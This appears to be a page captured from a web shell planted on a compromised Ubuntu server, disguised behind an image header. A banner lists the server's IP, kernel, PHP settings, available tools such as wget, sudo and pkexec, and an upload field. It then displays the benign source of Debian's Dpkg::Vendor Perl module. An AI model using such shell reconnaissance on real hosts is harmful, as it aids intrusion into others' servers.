????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.163 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/perl5/Dpkg/ |
Upload File : |
# Copyright © 2008-2009 Raphaël Hertzog <hertzog@debian.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. package Dpkg::Vendor; use strict; use warnings; our $VERSION = '1.01'; use Dpkg (); use Dpkg::ErrorHandling; use Dpkg::Gettext; use Dpkg::BuildEnv; use Dpkg::Control::HashCore; use Exporter qw(import); our @EXPORT_OK = qw(get_vendor_info get_current_vendor get_vendor_file get_vendor_dir get_vendor_object run_vendor_hook); my $origins = "$Dpkg::CONFDIR/origins"; $origins = $ENV{DPKG_ORIGINS_DIR} if $ENV{DPKG_ORIGINS_DIR}; =encoding utf8 =head1 NAME Dpkg::Vendor - get access to some vendor specific information =head1 DESCRIPTION The files in $Dpkg::CONFDIR/origins/ can provide information about various vendors who are providing Debian packages. Currently those files look like this: Vendor: Debian Vendor-URL: http://www.debian.org/ Bugs: debbugs://bugs.debian.org If the vendor derives from another vendor, the file should document the relationship by listing the base distribution in the Parent field: Parent: Debian The file should be named according to the vendor name. =head1 FUNCTIONS =over 4 =item $dir = Dpkg::Vendor::get_vendor_dir() Returns the current dpkg origins directory name, where the vendor files are stored. =cut sub get_vendor_dir { return $origins; } =item $fields = Dpkg::Vendor::get_vendor_info($name) Returns a Dpkg::Control object with the information parsed from the corresponding vendor file in $Dpkg::CONFDIR/origins/. If $name is omitted, it will use $Dpkg::CONFDIR/origins/default which is supposed to be a symlink to the vendor of the currently installed operating system. Returns undef if there's no file for the given vendor. =cut sub get_vendor_info(;$) { my $vendor = shift || 'default'; my $file = get_vendor_file($vendor); return unless $file; my $fields = Dpkg::Control::HashCore->new(); $fields->load($file) or error(_g('%s is empty'), $file); return $fields; } =item $name = Dpkg::Vendor::get_vendor_file($name) Check if there's a file for the given vendor and returns its name. =cut sub get_vendor_file(;$) { my $vendor = shift || 'default'; my $file; my @tries = ($vendor, lc($vendor), ucfirst($vendor), ucfirst(lc($vendor))); if ($vendor =~ s/\s+/-/) { push @tries, $vendor, lc($vendor), ucfirst($vendor), ucfirst(lc($vendor)); } foreach my $name (@tries) { $file = "$origins/$name" if -e "$origins/$name"; } return $file; } =item $name = Dpkg::Vendor::get_current_vendor() Returns the name of the current vendor. If DEB_VENDOR is set, it uses that first, otherwise it falls back to parsing $Dpkg::CONFDIR/origins/default. If that file doesn't exist, it returns undef. =cut sub get_current_vendor() { my $f; if (Dpkg::BuildEnv::has('DEB_VENDOR')) { $f = get_vendor_info(Dpkg::BuildEnv::get('DEB_VENDOR')); return $f->{'Vendor'} if defined $f; } $f = get_vendor_info(); return $f->{'Vendor'} if defined $f; return; } =item $object = Dpkg::Vendor::get_vendor_object($name) Return the Dpkg::Vendor::* object of the corresponding vendor. If $name is omitted, return the object of the current vendor. If no vendor can be identified, then return the Dpkg::Vendor::Default object. =cut my %OBJECT_CACHE; sub get_vendor_object { my $vendor = shift || get_current_vendor() || 'Default'; return $OBJECT_CACHE{$vendor} if exists $OBJECT_CACHE{$vendor}; my ($obj, @names); if ($vendor ne 'Default') { push @names, $vendor, lc($vendor), ucfirst($vendor), ucfirst(lc($vendor)); } foreach my $name (@names, 'Default') { eval qq{ require Dpkg::Vendor::$name; \$obj = Dpkg::Vendor::$name->new(); }; last unless $@; } $OBJECT_CACHE{$vendor} = $obj; return $obj; } =item Dpkg::Vendor::run_vendor_hook($hookid, @params) Run a hook implemented by the current vendor object. =cut sub run_vendor_hook { my $vendor_obj = get_vendor_object(); $vendor_obj->run_hook(@_); } =back =head1 CHANGES =head2 Version 1.01 New function: get_vendor_dir(). =cut 1;